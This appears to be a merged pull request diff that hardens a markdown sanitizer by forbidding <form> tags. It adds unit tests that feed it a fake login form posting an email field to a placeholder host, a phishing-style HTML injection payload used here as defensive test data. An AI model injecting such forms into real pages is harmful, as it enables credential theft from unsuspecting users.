Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion src/core/components/providers/markdown.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ export function sanitizer(str, { useUnsafeMarkdown = false } = {}) {

return DomPurify.sanitize(str, {
ADD_ATTR: ["target"],
FORBID_TAGS: ["style"],
FORBID_TAGS: ["style", "form"],
ALLOW_DATA_ATTR,
FORBID_ATTR,
})
Expand Down
12 changes: 12 additions & 0 deletions test/unit/xss/markdown-script-sanitization.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,12 @@ describe("Markdown Script Sanitization", function() {
const el = render(<Markdown source={str} />)
expect(el.html()).toEqual(`<div class="markdown"><p><img src="x"></p>\n</div>`)
})

it("sanitizes <form> elements", function() {
const str = `"<form action='https://do.not.use.url/fake' method='post' action='java'><input type='email' id='email' placeholder='Email-address' name='email' value=''><button type='submit'>Login</button>"`
const el = render(<Markdown source={str} />)
expect(el.html()).toEqual(`<div class="markdown"><p>&quot;</p><input value name="email" placeholder="Email-address" id="email" type="email"><button type="submit">Login</button>&quot;<p></p>\n</div>`)
})
})

describe("OAS 3", function() {
Expand All @@ -30,5 +36,11 @@ describe("Markdown Script Sanitization", function() {
const el = render(<OAS3Markdown source={str} />)
expect(el.html()).toEqual(`<div class="renderedMarkdown"><p><img src="x"></p></div>`)
})

it("sanitizes <form> elements", function () {
const str = `"<form action='https://do.not.use.url/fake' method='post' action='java'><input type='email' id='email' placeholder='Email-address' name='email' value=''><button type='submit'>Login</button>"`
const el = render(<OAS3Markdown source={str} />)
expect(el.html()).toEqual(`<div class="renderedMarkdown"><p>&quot;</p><input value name="email" placeholder="Email-address" id="email" type="email"><button type="submit">Login</button>&quot;<p></p></div>`)
})
})
})